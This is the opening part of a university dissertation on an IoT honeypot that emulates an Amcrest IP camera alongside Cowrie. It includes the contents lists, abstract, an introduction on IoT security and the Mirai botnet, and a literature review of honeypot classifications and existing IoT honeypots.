

AC-Hon-Pot honeypot for IoT devices

Student's Name

Fatih Kurt

Supervisor

Dr Eirini Anthi

Cardiff University

School of Computer Science and Informatics

October 2023

TABLE OF CONTENTS

TABLE OF CONTENTS	2
1. INTRODUCTION	8
1.1. Background	8
1.2. Security	0
1.3. Honeypots	2
2. LITERATURE REVIEW1	4
2.1. Honeypots Historical Overview1	4
2.2. Production and Research Honeypots 1 2.2.1. Production Honeypots 1 2.2.2. Research Honeypots 1	6 6 6
2.3. Server and Client Honeypots 1 2.3.1. Server-side Honeypots 1 2.3.2. Client-side Honeypots 1	7 7 7
2.4.Low-Medium-High Interaction Honeypots12.4.1.Low-Interaction Honeypots12.4.2.Medium-Interaction Honeypots1	8 8 8
2.5. High-Interaction Honeypots	9
2.6. Honeypots and IoT1	9
2.7. Cowrie	0
2.8. Existing IoT Honeypot: A Comparative Review22.8.1. Thingpot22.8.2. IoTCMal22.8.3. HoneyIo42	3 4 5 6
3. METHODOLOGY	8
3.1. Definition and Design Specifications	8
3.2. Design Considerations	9
3.3. Tools, Technologies, and Platforms	2
4. IMPLEMENTATION	7
4.1. Implementation Overview	7
4.2. Web Interface Implementation	8
5. TESTING AND ANALYSIS6	9
5.1. Attack scenarios	9

5.2.	Bruteforce Attacks	75
5.3.	Analysis Part	79
CON	NCLUSION	86
FUT	TURE WORK	88
REF	FLECTION	89
REF	FERENCES	91
	5.2. 5.3. CON FUT REF REF	 5.2. Bruteforce Attacks 5.3. Analysis Part CONCLUSION FUTURE WORK REFLECTION REFERENCES

Table of Figures

Figure 1 Sample Output from the 'uname -a' Command2	2
Figure 2 The Ubuntu Version Utilised for the Project	8
Figure 3 The Real Amcrest Login Mechanism4	0
Figure 4 The Real Amcrest Login Screen4	1
Figure 5 The Real Amcrest Login Page with Username4	1
Figure 6 The Login Merhod in Detail4	2
Figure 7 A Representation of the Live Camera Feed4	3
Figure 8 Representation of the Live Camera Feed with PTZ Control4	3
Figure 9 Error 404 Page View4	4
Figure 10 Error 500 Page View4	4
Figure 11 Unkown Error View4	5
Figure 12 Pom.xml File Content4	5
Figure 13 Terminal Output of Springboot IP Camera Logging4	6
Figure 14 Admin Login Page of the Logs System4	6
Figure 15 Raw Logs Page View4	7
Figure 16 The Log Entity Code4	8
Figure 17 Azure VM Settings4	8
Figure 18 Installing ElacticSearch4	9
Figure 19 A JDBC Input5	0
Figure 20 Cowrie Logs	1
Figure 21 Output Section	1
Figure 22 Kibana Default Port5	2
	3

Figure 23 Other Notable Incidents Captured by Our Honeypot	
Figure 24 Hostname. for the Honeypot	53
Figure 25 Version of the Honeypot	53
Figure 26 Screenshot of the Terminal for honeyfs	54
Figure 27 Emulation Message	54
Figure 28 Before Changes	55
Figure 29 After Changes	55
Figure 30 Honeypot Configuration	56
Figure 31 Hostname	57
Figure 32 Hostname	57
Figure 33 The Capable Hosts	
Figure 34 The Example of Attempting Unauthorized Access	
Figure 35 The passwd File	59
Figure 36 The resolv.conf File	60
Figure 37 The shadow File	61
Figure 38 The /proc/cpuinfo File	62
Figure 39 The /proc/meminfo File	63
Figure 40 The /proc/version File	64
Figure 41 The /proc/net/arp File	64
Figure 42 The lscpu File	65
Figure 43 The nproc File	66
Figure 44 Script to Send Logs to Azure	66
Figure 45 Initialiser Script	67
Figure 46 Script to Stop All Services	68
Figure 47 NMAP Scan for Open Ports in Our Honeypot	70
Figure 48 Fake Malware File	70
Figure 49 Attacker Transmit Weapon to the Target Machine via scp	71
Figure 50 Kibana's Logs	71
Figure 51 Simulation of an Attempt via wget	72
Figure 52 Fake Backdoor Script	73
Figure 53 Connection Establishment Back to the Attacker's Machine	73
	4

Figure 54 Logs of Attemps in Command & Control Channel	74
Figure 55 The First Step of Information Transaction	74
Figure 56 Saved Attempts by Cowrie	75
Figure 57 Hydra - Cowrie	75
Figure 58 Output of whoami	76
Figure 59 Output of ifconfig	77
Figure 60 Hydra	77
Figure 61 Login View	78
Figure 62 Live Stream View	78
Figure 63 Kibana Dashboard	79
Figure 64 Number of Attacks Over Time	80
Figure 65 Comparison of Attacks Targeting Cowrie and the Camera	80
Figure 66 The Most Frequently Attempted Passwords	81
Figure 67 Total Number of Attacks	81
Figure 68 IP Addresses of Attackers	
Figure 69 Most Frequently Executed Commands	82
Figure 70 Most Frequently Attempted Usernames	83
Figure 71 Chart of Interacted Features	83
Figure 72 Content of Captured Packages	84
Figure 73 Logs from Database	85

Abstract

As the number of IoT devices has surged in recent times, the associated security risks have also escalated. Given the vast amount of sensitive data these devices handle daily, their security is a crucial aspect to consider. This research focuses on creating a specialized honeypot tailored for IoT devices, specifically emulating an IP camera, integrated with the Cowrie honeypot. By offering two different attack points, this project aims to attract a broader range of attackers. For safety reasons, the honeypot transmits logs to a remote server and employs the Elastic Stack to enrich the data and provide visual support. The captured data offers invaluable insights, such as commonly used default usernames and passwords, which are particularly relevant when considering IoT botnet attacks. Additionally, the honeypot records the commands executed within Cowrie and saves files associated with potential malicious activities, like malware injections, using a hash for further analysis. Although the project's evaluation was conducted in a controlled environment due to compromise risks, the insights gained underscore the importance of honeypots in proactively defending IoT devices and enhancing our understanding of the evolving cyber threat landscape.

Acknowledgements

I would like to thank my supervisor, Dr. Eirini Anthi, for her guidance throughout the project from beginning to end. Her valuable suggestions helped me overcome the difficulties I faced, and her encouragement during the dissertation journey has been invaluable. I would also like to thank my family and friends, Emin Safa Tok and Mustafa Asci. Lastly, I would like to express my gratitude to my sponsor, The Ministry of National Education of the Republic of Türkiye.

1.INTRODUCTION

1.1. Background

The Internet of Things (IoT) represents a groundbreaking change in our relationship with technology. The term 'Internet of Things' was coined by Kevin Ashton in 1999 to refer to a system that connected to the physical world through actuators and embedded sensors. IoT refers to a network of interconnected heterogeneous devices requiring an internet connection to operate via wired or Wi-Fi. These devices, equipped with sensors and actuators, can collect, process, and transmit data, enabling seamless communication with other devices and the broader internet(Tawalbeh et al. 2020).

Examples include but are not limited to smart thermostats that adjust room temperatures based on real-time data, smart refrigerators that notify users about expiring products and smart cameras. Moreover, the popularity of IoT devices has surged as these technologies serve a wide range of applications in various fields such as transportation, smart home, healthcare, industry, smart city and personal use. (Yang and Institute of Electrical and Electronics Engineers 2020).

As forecasted by Statista, The number of IoT devices is anticipated to reach almost 30 billion in 2030, which is nearly double the number in 2020. Furthermore, growth is not only in industrial or commercial fields. The consumer segment holds more than half of the market share and is expected to be the most prominent player, with approximately 60% during the upcoming decade. Devices within this segment, such as smart home appliances, wearable computing and IP cameras, and the total number of devices in this segment is expected to approach 17 billion by 2030 (Vailshery Lionel Sujay 2023).

In light of this segmentation, our study focuses on the IP cameras in the Consumer IoT segment, a sector experiencing rapid growth and evolving security challenges.

The convenience and effectiveness of IoT devices have gained broad attention from everyday users and become a part of our daily routines. The Internet of Things improves our quality of life by transforming physical objects into an information ecosystem shared between wearable, portable, and implantable devices. Undoubtedly, the widespread implementation of IoT devices has drastically changed our daily lives for the better(Fadhil Khalid and Y. Ameen 2021; Radouan Ait Mouha 2021).

However, such ubiquity does not only bring upsides. It comes with downsides as well. Since they are an important part of our lives, these devices deal with a wealth of data. This unprecedented access to sensitive information could be a significant threat to users in case of breaches or exploits. For instance, IP cameras are prevalent devices in many homes and businesses. Even some foundations and individuals use as CCTV. While primarily intended for security, it is probable that these cameras may inadvertently capture more than just intruders or suspicious activities. They might record some confidential business documents left on a table, sensitive private discussions or even the individuals' private lives. This captured data may contain visuals, audio or both. It holds valuable information that could cause catastrophic consequences if misused or accessed unauthorizedly.

Similarly, smartwatches keep track of our heart rates, sleeping habits, and stress levels. Smartphones and smart speakers also have access to and listen to users' conversations, preferences, and schedules. It is important to recognize the potential impacts if these devices were to fall into the wrong hands. The amount of personal information they retain could have significant implications if they were to be breached.

As previously mentioned, the rapid proliferation of IoT devices has brought about a new level of convenience but has also created numerous security challenges. As these devices become more integrated into our daily lives, they also become potential entry points for cyber threats due to several reasons.

One of the challenges facing IoT devices is hardware limitations. These devices are often resource-constrained, such as limited computational power, low communication capabilities, and memory. Therefore, implementing robust security mechanisms is challenging and leaves devices vulnerable to exploitation. For instance, a security camera may run on outdated

firmware due to limited storage or processing capabilities, which can make it susceptible to older, known cyber-attacks (Roy et al. 2019).

One of the major challenges in IoT security is the lack of user awareness. Many end users, unlike IoT professionals, are not aware of the security and privacy issues surrounding IoT and the potential risks that come with it (Koohang et al. 2022). A problematic trend is that some users intend to keep the default passwords and usernames. A study conducted in 2018 identified more than 360 million online surveillance devices and routers. Around 85% of these devices could be accessed through password authentication. The findings highlight the importance of security awareness, and weak passwords are a paramount issue and could have destructive consequences if not taken seriously(Qu 2022).

Another problem is on the manufacturers' side. As competition in the market has increased, manufacturers have prioritized affordability over security. Therefore, devices on the market may lack some security tests, or regular security updates may not be provided. While trying to produce cost-effective products, not paying enough attention to security can be a greater danger for end-users and have terrible outcomes.

In addition, there is a lack of legal limitations or obligations to close existing security gaps and ensure that manufacturers take and implement comprehensive security measures. This has an unintended but negative impact on the overall security of IoT devices. Although efforts have been made by ENISA to fill this gap, the problem still persists. The complexities of architecting processes around privacy and encryption are affected by existing privacy laws. For example, there are also significant disagreements among supply chain actors about security issues. Additionally, the relatively nascent nature of the IoT industry means that best practices and experiences are not as firmly established as in other sectors(Skouloudi Christina et al. 2020).

1.2. Security

From a cybersecurity perspective, as noted earlier, IoT devices are a popular target for attackers due to various factors. One of the most well-known of these is the Mirai botnet attack.

Mirai is an example of a botnet that aims to exploit IoT devices by exploiting the vulnerability of users who continue to use their devices with default credentials. Mirai first conducted reconnaissance on target networks and, detected IoT devices connected to these networks and then carried out attacks. If the default credentials have not changed, Mirai can pass the authentication phase and infect the malicious payload. A large number of IoT devices from many different countries were used for this attack. The botnet was responsible for a widespread distributed denial of service (DDoS) attack that has influenced several countries(Venancio Neto et al. 2020; Owen et al. 2022) . The Mirai effect continued afterwards as the Mirai malware source code was released to the public, leading to the creation of Mirai-like botnet attacks(Almazarqi et al. 2021).

The Mirai botnet attack showed us that such attacks have large-scale reach and impact could be the security vulnerabilities in IoT devices.

Due to the limited hardware resources of IoT devices, they remain vulnerable to botnet attacks and continue to pose a security risk. Mirai is a vital example to display the importance of security vulnerabilities in IoT devices. Large-scale DDoS attacks have been launched by exploiting the default credentials used in IoT devices. After the release of the Mirai code. Mirailike attacks have occurred, proving that users are still using default or weak credentials.

The human element consistently proves to be the most substantial vulnerability in cybersecurity. Despite technological improvements, still the reason for many cyber incidents is human error or unawareness of the security risks. Using default usernames and passwords on IoT devices is an obvious example, turning these devices into easy targets for attackers, as it happened in Mirai.

Although it is a known fact that IP cameras are highly targeted by attackers, they still have poor security. The research mentions that it is possible to access with default credentials to more than 70,000 cameras worldwide. Also, it is noted that only one in ten cameras have secure login portals(Kalbo et al. 2020). These determinations support the opinion that human is still the weakest link in the cyber security chain, as recognized by many(Burov et al. 2020)

1.3. Honeypots

The topic of cybersecurity has become a major concern for people. In traditional methods mainly focusing on defensive measures, the field is now shifting towards a more aggressive and interactive approach to protection. One such method is the use of honeypots as decoybased intrusion protection(Mokube and Adams 2007).

A honeypot is a deceptive tool used to trap intruders. This is a system designed to decoy attackers by using deception. Both attackers (act as a Red Team) and defenders (known as a Blue Team) may use this technique for different purposes. The Red Team uses deception to lure end-users and victims to redirect them to their malicious websites, while the Blue Team can use this technique as a honeypot, which is the most commonly used deception technique on the defence side(Frumess 2015).

Honeypot mainly imitates a valuable network as a target, whose values lie in being attacked or probed for attackers. However, it is crucial to ensure that this system remains isolated from the actual network. Keeping it separate from the real network reduces the risk of compromise. Despite being designed to attract attackers, these systems still carry compromise risks. It is essentially a replica system and should be similar to or identical to the real one in some aspects for its intended purpose. The system is expected to receive attacks, enabling us to monitor and analyse the interaction between the attacker and the Honeypot. The more realistic the system appears, the more challenging it is for an attacker to recognize and understand that it is fake, allowing them to spend more time for interacting and allowing us to observe further. Therefore, realism is a crucial part of evaluating a honeypot's effectiveness (Guerra Manzanares 2017).

Eventually, honeypot is becoming more and more critical, mainly because the importance of security is increasing daily. With IoT devices proliferating and becoming a part of our social lives, the amount of data they are exposed to on a daily basis has increased dramatically. Moreover, given the inherent security weaknesses of IoT devices, it was not surprising that IoT devices entice attackers and be a target for so many cyber attacks. Therefore, the concept of an 'IoT honeypot' has emerged. An IoT honeypot particularly emulates or mimics IoT devices, making a decoy to attract, engage, and analyse malicious activities directed at these devices.

This allows us and professionals to understand attackers' perspectives better and develop proactive defence mechanisms tailored for IoT security.

Honeypots can be classified based on different standards, including purpose, level of interaction and application. The level of interaction honeypots they categorized based on the capabilities of the honeypot and providing a more realistic environment. If a honeypot is able to achieve these, it may be considered as a high-interaction honeypot. We will delve into this classification in the Literature Review section.

This study aims to develop a medium-high interaction honeypot tailored explicitly for IoT devices. Since most IoT attacks target smart cameras, we emulate an IP Camera, which the Amcrest 841B was used as a representative model. This research seeks to attract and obtain useful information about malicious behaviours targeting IoT devices by leveraging the Cowrie honeypot system known as SSH/Telnet honeypot and emulating an authentic IoT camera interface. The captured interactions are stored in Elasticsearch, enabling swift querying and indepth analysis through Kibana on Microsoft Azure. Saving logs to the remote server is always more secure than saving in itself. The honeypot will provide invaluable insights into attackers' behaviours, such as commands that they run and login attempts. Moreover, in case of compromise, since the logs are saved to the remote server, we can still fetch valuable data about intruders.

2.LITERATURE REVIEW

2.1. Honeypots Historical Overview

In today's world, every entity on the Internet is strengthening its defence against potential attacks, whether comes from internal or external sources. Even the considered as minor vulnerabilities can be exploited and cause significant harm. One sufficient defence strategy is to gather as much information as possible about the attackers or intruders. This approach goes back a long way, where having enough information about your enemy's perspectives, motivations, resources, and plans was crucial to succeed in defence. In the cybersecurity world, this is known as threat intelligence gathering, and honeypots are a popular and effective approach for accomplishing this(Zobal et al. 2019a).

In cyber defence, a honeypot is a network trap in order to lure and trick intruders while monitoring their behaviours, which allows us to learn about attackers' behaviour and reveal their motives while protecting real sources(Jiang and Zheng 2020).

In 1998, the first known honeypot, named The Deception ToolKit, was created by Fred Cohen. The point of this honeypot is to lure the attackers into interacting with the system, which has intentionally included widely well-known vulnerabilities(Peter Eric and Schiller Todd 2011).

Initially, honeypots were designed to detect network-based attacks. The early ones can be considered as basic traps that could only emulate vulnerable services and catch unauthorised access to systems. These are lack of the complexity seen in modern systems. The importance of honeypots increased, with the number of worms rapidly rising during the beginning of this century. Over time, honeypots have become more popular due to increased security awareness. As attackers improved their skills and became more sophisticated, honeypots evolved into more complex systems that mimic real environments and systems and capture advanced threats(Provos and Holz 2007).

In the work by Seifert, Welch, and Komisarczuk, honeypots are divided into seven categories which consider Interaction Level, Data Capture, Containment, Distribution Appearance, Communication Interface, and Role in Multi-Tier Architecture(Seifert et al. 2006). Another paper clarifies a slightly different classification, distinguishing honeypots based on features such as the level of interaction, the deployment environment, resource type, services, and implementation (Fraunholz et al. 2017)

Zobal, Kolář, and Fujdiak categorise honeypots not only by the service they provide (e.g., SSH, SMTP, FTP honeypots) but also by the form they take and their purpose. Additionally, they highlight the contrast between the classical server approach and the proactive client side of honeypot(Zobal et al. 2019b). In the realm of deception techniques, it's mentioned that honeypots can predominantly be divided into research and production types(Zhang and Thing 2021).

Another similar perspective from Mokube and Adams discusses the classification based on purpose, resulting in categories of production and research. This division extends to interaction levels, segmenting honeypots into low, medium, and high interactions(Mokube and Adams 2007).

Peter and Schiller reiterates the distinction between high and low interaction honeypots, where this classification hinges on the level of service or interaction offered to potential hackers (Peter Eric and Schiller Todd 2011). From an educational viewpoint, honeypots are categorised based on Implementation Environment and Level of Interaction, providing a systematic understanding suitable for academic exploration (Lopez and Reséndez 2008).

It is possible and usual that a honeypot could be considered into several classifications at the same time. This is not because the taxonomy is not clear and overlaps. The reason is honeypots can be designed to serve multiple features and purposes. For instance, a honeypot might be both a "high-interaction" and "research" honeypot simultaneously.

Distilling these varied classifications, we can deduce that honeypots are mainly grouped into three.

- Production and Research Honeypots.
- Server and Client Honeypots.
- Low, Medium, and High Interaction Honeypots.

2.2. Production and Research Honeypots

2.2.1. Production Honeypots

Production Honeypots are live systems, and they are used to protect the real systems and mitigate the risks around the environment. The main goal of these honeypots is to ensure security (Sokol et al. 2017). Thereby, any attack that could harm the real assets is considered more dangerous than any potential advantage that gains from the attack aimed at the honeypot (Diamantoulakis et al. 2020).

In contrast to research honeypots, production ones have not become popular (Mahajan and Singh 2023). Honeyd is a widely utilised production honeypot allowing users to create virtual honeypot networks. It can emulate multiple operating systems and services, making it a versatile tool for detecting and analysing attacks(Honeyd).

2.2.2. Research Honeypots

Research honeypots are designed to collect more about intruders.

Academic institutions, government agencies, and cybersecurity researchers often deploy research honeypots. Research honeypots intend to gather information and learn attackers' behaviours, such as the tactics, techniques and potential motivation sources (Syrmakesis et al. 2022).

In addition, a research honeypot can be used for identifying and analysing new attack techniques so that it could be useful for zero-day attacks. As a result of giving more interaction to the attackers in Research honeypots, it is considered that research honeypots are more potent than production honeypots(Kumar et al. 2012a). One of the well-known research honeypots is

Dionaea. Dionaea specialises in capturing and analysing malware samples. It emulates various services and protocols to attract attackers and collect valuable information about their techniques and tools.

Overall, research honeypots play a crucial role in cybersecurity research by providing valuable insights into the behaviour and tactics of adversaries.

2.3. Server and Client Honeypots

2.3.1. Server-side Honeypots

Server-side honeypots are the usual type of honeypots that the system intentionally left with some vulnerabilities to convince intruders. Therefore, they can monitor attacker behaviours and learn more about server-side attacks. This honeypot is called a traditional or passive honeypot because it expects attackers to interact with itself (Foley et al. 2022).

One well-known example of a server honeypot is the Potemkin Honeyfarm system, which offers scalable virtual honeypots based on gateways. With this, it allows you to emulate massive amounts of IP addresses by using just a few physical servers. This makes it an effective tool for attracting and monitoring attacks(Franco et al. 2021).

2.3.2. Client-side Honeypots

Client-side honeypots are software tools developed to identify and evaluate potentially harmful websites (Foley et al. 2022).

Instead of waiting for intruders to attack, client-side honeypots take a proactive approach. They look for malicious websites on the Internet by searching. Log and monitor the details of these malicious websites. High-interactive honeypots can emulate real, whereas the lower-interactive ones only simulate the browser part(Zobal et al. 2019b).

Client-side honeypots are useful tools in order to collect malware and identify the attacks that come from the client side(Alyas et al. 2022).

These attacks usually try to exploit the vulnerabilities of targets, which, in this case, web browsers, email clients and office applications(Kumar et al. 2012b).

Client-side honeypots simulate client software and don't offer server services for attack. Unlike traditional honeypots that assume all access is malicious, client-side honeypots must differentiate between benign and malicious servers, requiring active interaction with remote servers(Qassrawi and Zhang 2010).

As an example of client-side honeypots, PhoneyC is a client-side honeypot with some features that help recognise weak points and give warnings. It also checks downloaded material for harmful content using antivirus software. PhoneyC can explore and report on harmful websites, and tests have shown it effectively analyses real-world malicious sites(Nazario 2009).

2.4. Low-Medium-High Interaction Honeypots

This classification divides honeypots into three levels: low interaction, medium interaction, and high interaction. The more we interact, the more information we gather about attackers, but the higher the risk of compromise(Saputro et al. 2021).

2.4.1. Low-Interaction Honeypots

Low-interaction honeypots are designed to emulate only some services with some limitations. They provide a basic level of interaction to the attackers. Usually, the focus is on the first phases of an attack, such as vulnerability exploited by seizing distinct information(Almutairi et al. 2012). Most low-interaction honeypots cannot detect fingerprinting. Nevertheless, relatively, they are cost-effective and less likely to be taken over by attackers since they have limited access to some services(Naik et al. 2018).

Kippo is an example of a low-interaction honeypot. It simulates SSH server to monitor SSH attacks and provide valuable insights about attackers by logging their commands.

2.4.2. Medium-Interaction Honeypots

Medium interaction honeypot allows you to interact with more services. In this way, the data you would capture also grows; thus, it is more advanced than low ones. In these honeypots, service emulation works in such a way as to take the attacks, provide service and give a response. The goal of this response is to convince attackers this honeypot is a complete system(Saputro et al. 2021).

Glastopf is a medium-interaction web application honeypot that simulates vulnerabilities often found in web applications. When attackers engage with Glastopf, it dynamically creates responses, emulating potential vulnerabilities. By doing so, it gathers information about webbased attack vectors, tools, and techniques.

2.5. High-Interaction Honeypots

High-interaction honeypots represent the zenith of deception in cybersecurity, providing an almost precise environment where hackers believe they are interacting with real systems. Unlike other counterparts, these honeypots aim to provide a rich set of functionalities, giving attackers the impression that they have successfully penetrated a legitimate victim. By doing so, defenders can gather extensive insights into the attackers' techniques, tools, and intentions. While they offer a remarkable depth of information, they also come with inherent challenges. They also have inherent high risk because the attackers have more access and are not strictly restricted(Guan et al. 2022).

Take Cowrie as an example of a high-impact honeypot. Cowrie not only captures attackers' keystrokes by emulating SSH and telnet protocols but also mimics real file systems and structures, aiming them to keep on the system longer and lure that this system is real, and logs all their activity. Doing so provides invaluable insights into intrusion techniques, strategies, and potentially malicious payloads. Its versatility and detailed logging capabilities make Cowrie a trusted tool for cybersecurity researchers aiming to understand real-world threats.

2.6. Honeypots and IoT

The Internet of Things (IoT) is an ever-growing paradigm, representing an extensive collection of network-connected devices for diverse objectives, such as data collection, security, and communication. As the IoT has surged, this has also caused an increase in the cyber-threat landscape. Hence the need for a cybersecurity solution tailored to these unique devices.

With this growing paradigm, the cyber-threat landscape expands the number of attack chances and the risk of vulnerabilities being exploited is also raised in these devices(Panda et al. 2021). One effective way to address this issue is by utilizing deception techniques, and honeypots particularly stand out in this regard.

Deception techniques have been used for a long time; previously, they have been used to improve security in real-world systems. As a deception technique, Honeypots have shown that they are valuable tools for identifying new threats and preventing cyber-attacks. Therefore, lately, honeypots have started to be used in IoT, which is one of the cutting-edge technologies(Katakwar et al. 2022).

As IoT threats evolved, so did the honeypots. More sophisticated IoT honeypots started to emerge, capable of simulating complete IoT ecosystems, including smart homes and industrial IoT environments. The primary plan remained: to collect information about attackers as much as possible such as understanding the tactics, techniques, and procedures of attackers targeting IoT. In order to achieve this plan, IoT must be designed more nuanced, emphasizing realism while ensuring efficient resource usage.

2.7. Cowrie

Cowrie, created by Michel Oosterhof in 2015, is a honeypot. It is a Python-based and opensource honeypot, and it is also available through GitHub. It allows attackers to interact through SSH and Telnet(Cabral et al. 2019). It logs the actions and inputs of attackers on the system. One of Cowrie's features is its ability to track the operations executed by intruders. To effectively deceive attackers, Cowrie servers are designed to mimic genuine systems. Every activity within the honeypot is documented for later review. Cowrie captures three types of data: details related to brute force attacks, including new and lost connections as well as login tries. Once an attacker gains access, Cowrie logs their commands, outputs, and the corresponding timestamps. Any files targeted by the attacker using commands like wget, curl, SCP, or SFTP are also noted. Cowrie's goal is to replicate a genuine server environment, duplicating typical Linux directories such as /bin and /etc, allowing exploration with commands like ls and cd. It also mimics the responses of standard Linux commands(Saputro et al. 2021).

The problem with Cowrie is its susceptibility to detection as a honeypot by attackers. This is often due to the failure to alter the default configuration settings. It is crucial to understand, customize and employ the full potential of the Cowrie to lure attackers and convince them this is a real system. However, this process can be a challenging task, but at the same time, it is essential to achieving a higher level of deception(Cabral et al. 2019).

Even though honeypots like Cowrie are still in their early stages, they can be efficient if the configuration settings are customised and correctly done(Cabral et al. 2019; Saputro et al. 2021).

This study emphasized the importance of altering default settings. The study specifically focused on Kippo and Cowrie honeypots. They found that more than 70% of these honeypots used default settings. To verify this, they ran the uname -a command on the identified honeypots. Moreover, attackers can tell if a system is a honeypot by looking for standard hostnames, banners, and basic commands. Also, the paper suggests that Cowrie's txtcmds and fs.pickle artifacts should be customised to improve reality. It is critical to be careful with various settings, including different users, hostnames, groups, file shares, hard drive capacities, mounts, CPU and RAM details, OS versions, IP and MAC addresses, and SSH versions(Cabral et al. 2021).



Figure 1 Sample Output from the 'uname -a' Command

Although Cowrie is not particularly designed for IoT attacks, some research has shown and proved that it can be efficient in preventing such attacks.

IoT networks can be compromised by several security breaches, especially through remote logins such as SSH and Telnet. While the SSH protocol is primarily for secure remote interactions, it is also used by the majority of attackers to launch attacks or transfer harmful payloads to a target device. In this paper (Shrivastava et al. 2018), they used Cowrie honeypot to record attacks on IoT devices. The Cowrie honeypot logged all sessions and gained useful data for further examination with machine learning for the next part of the research.

One of the most common attacks against IoT devices is botnet attacks. Mirai showed how much more dangerous this can be. As with Mirai, it has been shown that weak credentials are often used in systems where IoT botnet attacks are successful(Lingenfelter et al. 2020).

Though continuously evolving, Mirai can be effectively monitored using medium-high interaction honeypots like Cowrie. Cowrie is adept at emulating IoT systems and has been tailored over time to address challenges with Mirai, making it incredibly proficient at capturing Mirai samples. This research(Lingenfelter et al. 2020) indicates that a limited set of devices, using few loader code bases, are behind many Mirai-based botnet attacks. While Mirai is a significant threat to IoT devices, its activities can be efficiently traced using honeypots like Cowrie and command sequence analysis.

This paper(Kyriakou and Sklavos 2018) provides another example of how Cowrie can be utilized for IoT attacks. They demonstrate using three honeypots to examine IoT attacks, yielding insightful findings. In their research, they set up several honeypot sensors to observe and analyse attacker behaviours. Chosen honeypots were Cowrie, Dionaea, and Glastopf.

This study(Saputro et al. 2021) utilized the Cowrie honeypot to address security concerns related to malware attacks and attack patterns, yielding significant findings. The research tackled IoT security challenges by implementing a Cowrie honeypot. Honeypots serve as a proactive measure, designed to detect attacks and malicious entities. Using Cowrie, this study established a medium-high interaction honeypot to safeguard IoT devices from malware threats and to gather data about the attacking systems. The results revealed that the honeypot could document all attack attempts, maintaining a CPU load well below 6.3%. This indicates that medium-high interaction honeypots can be effective security measures for IoT setups.

Considering all these, Cowrie has proven to be an invaluable tool in addressing IoT security challenges. Its adaptability, ability to emulate genuine systems, and proficiency in logging intricate details of intruder activities make it a cornerstone in safeguarding IoT devices. For our project, we chose Cowrie for several compelling reasons: its demonstrated efficiency against IoT-based attacks, its open-source nature which allows for tailored modifications, its capability to mimic real-world server environments, and its adeptness at capturing and analysing sophisticated malware samples like Mirai. Recognizing the importance of a genuine user experience to deceive attackers, we undertook necessary configurations and customized the honeypot, ensuring it not only detects but convincingly engages potential threats. As the IoT landscape continues to expand, tools like Cowrie, especially when fine-tuned, will be crucial in maintaining a secure and resilient digital ecosystem.

2.8. Existing IoT Honeypot: A Comparative Review

In this section, we will discuss three IoT honeypots and their capabilities, and limitations. Finally, we will compare them to ours for each one.

2.8.1. Thingpot

ThingPot is a specialized honeypot designed primarily for IoT devices, with a specific focus on emulating the Philips Hue Bridge system. By zeroing in on unique IoT protocols like XMPP, ThingPot carves out a niche for itself, effectively capturing threats that specifically target devices like the Philips Hue. This focused approach is both its strength and its limitation. While it can successfully lure attackers familiar with the Philips Hue system, it might not be as effective against a broader spectrum of cyber adversaries, especially those who exploit more universally recognized protocols(Wang et al. 2018).

Comparing with our project casts a wider net. By integrating Cowrie, we emulate the SSH protocol, which is widely used and recognized across various systems, not just IoT. This ensures that we can attract a diverse range of attackers, from those targeting IoT devices to more general cyber threats. Additionally, by hosting a web interface on port 8080, we provide an additional interaction point for potential attackers, enhancing the realism of our honeypot. While ThingPot's XMPP-centric approach might overlook attackers unfamiliar with this protocol, our emulation of SSH and the inclusion of a realistic web interface ensures a more comprehensive data collection.

Moreover, while ThingPot relies on a local database for log storage, our project emphasizes both security and scalability. Aware of the potential vulnerabilities associated with highinteraction honeypots, we chose a more secure logging method, transmitting our logs to the cloud-based Microsoft Azure. This not only reduces the risk of direct compromise but also ensures the integrity and availability of our data. Coupled with our integration of Elasticsearch on Azure, we can efficiently process, analyse, and visualize the captured data, transforming raw logs into actionable intelligence.

In summary, while ThingPot provides valuable insights into specific threats targeting particular IoT devices, our project offers a broader perspective on the cyber threat landscape, capturing a more varied set of attacks and attacker methodologies.

2.8.2. IoTCMal

IoTCMal is a hybrid IoT honeypot framework that combines both high and low interaction components to capture a comprehensive range of malicious samples targeting IoT devices. By emulating common vulnerable services in real IoT devices, IoTCMal attracts targeted hacking attacks. The honeypot has successfully identified multiple malware families and patterns of infection, speculating the existence of various attacker groups. Its strength lies in its hybrid nature, capturing both broad scans and specific targeted attacks. However, its primary focus is on capturing malware binaries, which might mean it could overlook other types of malicious activities(Wang et al. 2020).

In contrast, our project is tailored to emulate a specific IoT device, the Amcrest 841B camera. This specificity allows us to attract attackers familiar with this widely-used device, offering unique insights into threats targeting such cameras. By integrating Cowrie, we emulate SSH, a protocol that is commonly exploited by attackers, allowing us to capture a broader range of malicious activities. Our project goes beyond just capturing malware binaries. We log detailed interactions, from login attempts to specific commands, providing a more in-depth understanding of attacker behaviors.

Furthermore, while IoTCMal captures and analyzes commands, especially those related to malware downloads, our project has a more comprehensive logging system. Recognizing the potential risks associated with storing logs locally, we prioritize security by storing logs remotely on Microsoft Azure. This approach not only ensures data security but also provides scalability. Our use of the ELK stack on Azure offers a robust solution for storing, processing, and visualizing logs, turning them into actionable insights.

In essence, while IoTCMal provides a hybrid solution capturing a wide range of malicious samples targeting various IoT devices, our project offers a more targeted approach. By focusing on a specific IoT device and ensuring secure and comprehensive logging, we capture detailed attacker interactions, providing richer insights into the threat landscape.

2.8.3. HoneyIo4

HoneyIo4 is a honeypot solution that places a significant emphasis on deceiving Nmap fingerprinting. By doing so, it aims to present itself as a genuine IoT device to potential attackers, increasing its chances of interaction. This focus on Nmap deception is a strategic move, given that many cyber adversaries utilize Nmap as a preliminary tool to scan and identify potential targets. By effectively deceiving such scans, HoneyIo4 can lure and capture a broader range of threats(Guerra Manzanares 2018 [b]).

However, beyond this Nmap deception, the document doesn't provide enough information about other functionalities or protocols that HoneyIo4 might emulate. This singular focus, while effective for its intended purpose, might limit its scope in capturing a diverse range of attacks.

In comparison with our project adopts a more multifaceted approach. By integrating Cowrie, we emulate the SSH protocol, a widely recognized and utilized protocol across various systems, not just IoT. This ensures we can attract a diverse range of attackers. Furthermore, since web interface, accessible on port 8080, serves as an additional touchpoint for attackers, enhancing the honeypot's realism. While HoneyIo4's primary strength lies in deceiving Nmap fingerprinting, our project offers a broader net, capturing threats across different protocols.

Furthermore, our project emphasizes security in data storage. Recognizing the potential vulnerabilities of high-interaction honeypots, we transmit our logs securely to Microsoft Azure. This not only ensures data integrity but also adds an extra layer of security. Our integration with Elasticsearch on Azure also allows for efficient data processing and visualization.

